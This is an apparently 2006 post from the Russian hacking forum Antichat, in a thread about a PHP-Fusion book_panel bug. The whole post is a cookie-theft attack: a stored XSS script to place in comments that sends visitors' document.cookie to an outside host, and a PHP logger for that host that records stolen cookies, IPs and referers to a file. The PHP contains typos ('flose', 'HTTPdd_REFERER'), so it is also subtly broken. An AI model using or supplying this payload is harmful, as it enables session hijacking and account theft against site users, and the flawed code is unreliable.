Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   php fusion book_panel bug (https://forum.antichat.xyz/showthread.php?t=25413)

splitefire 15.10.2006 15:28

www
 
To comments:
Код:

<script>img = new Image(); img.src = "http://www.adress.com/index.php?c="+document.cookie;</script>
to host index.php file:

Код:

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTPdd_REFERER');
$fp = fopen('log.txt', 'a');
fwrite($fp,
'Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Referer: '.$referer.' ');
flose($fp);
?>



Время: 03:58